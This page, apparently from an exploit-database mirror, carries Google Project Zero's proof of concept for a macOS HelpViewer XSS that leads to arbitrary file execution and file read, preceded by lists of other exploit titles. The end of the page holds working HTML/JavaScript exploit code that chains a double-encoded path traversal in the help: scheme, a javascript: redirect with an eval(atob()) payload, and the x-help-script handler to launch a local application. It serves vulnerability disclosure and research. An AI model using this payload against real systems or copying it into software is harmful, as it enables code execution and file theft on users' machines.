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"Apple macOS HelpViewer 10.12.1 - XSS Leads to Arbitrary File Execution / Arbitrary File Read"

Author

"Google Security Research"

Platform

macos

Release date

2017-02-23

Release Date Title Type Platform Author
2019-07-02 "Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)" local macos Metasploit
2019-05-27 "Typora 0.9.9.24.6 - Directory Traversal" remote macos "Dhiraj Mishra"
2019-05-23 "Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)" local macos Metasploit
2019-04-18 "Evernote 7.9 - Code Execution via Path Traversal" local macos "Dhiraj Mishra"
2019-03-01 "macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image" dos macos "Google Security Research"
2019-02-13 "Apple macOS 10.13.5 - Local Privilege Escalation" local macos Synacktiv
2019-02-20 "FaceTime - Texture Processing Memory Corruption" dos macos "Google Security Research"
2019-01-31 "macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File" dos macos "Google Security Research"
2019-01-24 "Microsoft Remote Desktop 10.2.4(134) - Denial of Service (PoC)" dos macos "Saeed Hasanzadeh"
2018-12-14 "Safari - Proxy Object Type Confusion (Metasploit)" remote macos Metasploit
2018-11-29 "Mac OS X - libxpc MITM Privilege Escalation (Metasploit)" local macos Metasploit
2018-11-20 "Apple macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)" dos macos "Fabiano Anemone"
2018-11-14 "SwitchVPN for macOS 2.1012.03 - Privilege Escalation" local macos "Bernd Leitner"
2018-11-13 "CuteFTP Mac 3.1 - Denial of Service (PoC)" dos macos "Yair Rodríguez Aparicio"
2018-11-06 "FaceTime - 'VCPDecompressionDecodeFrame' Memory Corruption" dos macos "Google Security Research"
2018-11-06 "FaceTime - 'readSPSandGetDecoderParams' Stack Corruption" dos macos "Google Security Research"
2018-11-05 "LiquidVPN 1.36 / 1.37 - Privilege Escalation" local macos "Bernd Leitner"
2018-05-30 "Yosoro 1.0.4 - Remote Code Execution" webapps macos "Carlo Pelliccioni"
2017-02-24 "Apple WebKit 10.0.2 - 'FrameLoader::clear' Universal Cross-Site Scripting" webapps macos "Google Security Research"
2017-06-06 "Apple Safari 10.1 - Spread Operator Integer Overflow Remote Code Execution" remote macos saelo
2017-05-04 "Apple Safari 10.0.3 - 'JSC::CachedCall' Use-After-Free" remote macos "saelo & niklasb"
2017-02-23 "Apple macOS HelpViewer 10.12.1 - XSS Leads to Arbitrary File Execution / Arbitrary File Read" remote macos "Google Security Research"
2018-07-30 "Charles Proxy 4.2 - Local Privilege Escalation" local macos "Mark Wadham"
2018-03-20 "Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation" local macos "Google Security Research"
2017-01-16 "Apple macOS Sierra 10.12.1 - 'physmem' Local Privilege Escalation" local macos "Brandon Azad"
2017-12-07 "Apple macOS High Sierra 10.13 - 'ctl_ctloutput-leak' Information Leak" local macos "Brandon Azad"
2017-11-28 "Apple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation" local macos Lemiorhan
2017-12-06 "Apple macOS 10.13.1 (High Sierra) - Insecure Cron System Local Privilege Escalation" local macos "Mark Wadham"
2017-12-06 "Proxifier for Mac 2.19 - Local Privilege Escalation" local macos "Mark Wadham"
2017-12-06 "Hashicorp vagrant-vmware-fusion 4.0.23 - Local Privilege Escalation" local macos "Mark Wadham"
Release Date Title Type Platform Author
2019-07-17 "Linux - Broken Permission and Object Lifetime Handling for PTRACE_TRACEME" local linux "Google Security Research"
2019-07-12 "Microsoft Windows 10.0.17134.648 - HTTP -> SMB NTLM Reflection Leads to Privilege Elevation" local windows "Google Security Research"
2019-07-12 "Microsoft Font Subsetting - DLL Heap Corruption in ComputeFormat4CmapData" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Empty ROS Strings" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - NULL Pointer Dereferences in OpenType Font Handling While Accessing Empty dynarrays" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Multiple Bugs in OpenType Font Handling Related to the _post_ Table" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Out-of-Bounds Read in OpenType Font Handling Due to Undefined FontName Index" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling While Processing CFF Blend DICT Operator" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Unbounded iFD" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow Due to Integer Overflow in readTTCDirectory" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readCharset" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readEncoding" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Incorrect Handling of blendArray" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Interpreter Stack Underflow in OpenType Font Handling Due to Missing CHKUFLOW" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Use of Uninitialized Memory While Freeing Resources in var_loadavar" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack-Based Buffer Overflow in do_set_weight_vector_cube for Large nAxes" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative nAxes" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth" dos windows "Google Security Research"
2019-07-10 "Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access" dos multiple "Google Security Research"
2019-07-10 "Microsoft Windows - Font Subsetting DLL Heap-Based Out-of-Bounds Read in MergeFonts" dos windows "Google Security Research"
2019-06-26 "Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion" dos multiple "Google Security Research"
2019-06-24 "Microsoft Windows Font Cache Service - Insecure Sections Privilege Escalation" dos windows "Google Security Research"
2019-06-24 "Microsoft Windows - 'CmpAddRemoveContainerToCLFSLog' Arbitrary File/Directory Creation" dos windows "Google Security Research"
2019-06-20 "Linux - Use-After-Free via race Between modify_ldt() and #BR Exception" dos linux "Google Security Research"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-29 "Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL" dos android "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/41443/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/41443/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/41443/16527/apple-macos-helpviewer-10121-xss-leads-to-arbitrary-file-execution-arbitrary-file-read/download/", "exploit_id": "41443", "exploit_description": "\"Apple macOS HelpViewer 10.12.1 - XSS Leads to Arbitrary File Execution / Arbitrary File Read\"", "exploit_date": "2017-02-23", "exploit_author": "\"Google Security Research\"", "exploit_type": "remote", "exploit_platform": "macos", "exploit_port": null}
                                            

For full documentation follow the link above

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<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040

HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help

or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html

HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.

HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".

PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";

The attached poc will pop up a Calculator.

Tested on macOS Sierra 10.12.1 (16B2659).
-->

<script>

/*
OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read.

HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help

or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html

HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.

HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".

PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";

The attached poc will pop up a Calculator.

Tested on macOS Sierra 10.12.1 (16B2659).

*/

function main() {
    function second() {
        var f = document.createElement("iframe");
        f.onload = () => {
            f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app";
        };

        f.src = "help:openbook=com.apple.safari.help";

        document.documentElement.appendChild(f);
    }

    var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));\nsecond();";

    document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url;
}

main();

</script>